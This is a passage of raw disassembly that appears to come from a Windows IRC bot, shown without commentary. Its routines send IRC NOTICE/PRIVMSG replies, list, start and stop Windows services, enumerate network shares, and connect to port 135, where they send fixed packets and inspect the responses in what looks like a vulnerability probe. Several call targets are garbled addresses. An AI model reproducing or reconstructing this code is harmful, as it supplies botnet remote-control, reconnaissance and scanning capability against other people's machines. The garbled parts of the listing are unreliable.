var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax


loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax


loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43F6A8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------


loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43F6E8
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43F6B8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43F6B8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43F680
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------


loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43F700
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172AE
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		nop
		call	near ptr 260086Bh

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4


loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_444138
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------


loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------


loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_444138
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172AE
		add	esp, 0Ch


loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43F65C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		nop
		call	near ptr 2640A83h
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------


loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43F550
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		nop
		call	near ptr 2640A83h
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------


loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43F5B8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43F558
		jmp	short loc_40D814
; ---------------------------------------------------------------------------


loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43F5BC


loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 2640A83h
		mov	ebx, eax


loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43F56C


loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43F56C
		pop	esi


loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------


loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump


loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------


loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_443A78
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------


loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_443A78
		call	sub_4172AE
		add	esp, 0Ch


loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_443A78
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43F65C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43F628
		test	eax, eax
		jnz	short loc_40DA25
		call	near ptr 2640A83h
		nop
		cmp	eax, 0EAh
		jnz	loc_40DAD9


loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]


loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------


loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"


loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36


loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB


loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43F56C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------


loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax


loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch


loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30


loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_443D34
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------


loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443D34
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172AE
		add	esp, 0Ch


loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F86+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_443F34, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_443F34, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_443CD4, eax


loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_443CD4
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_443CD4
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43F568
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F86+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43F540
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43F5B4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------


loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43F55C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"


loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4172AE
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40DD90
		xor	esi, esi


loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43F6F8


loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
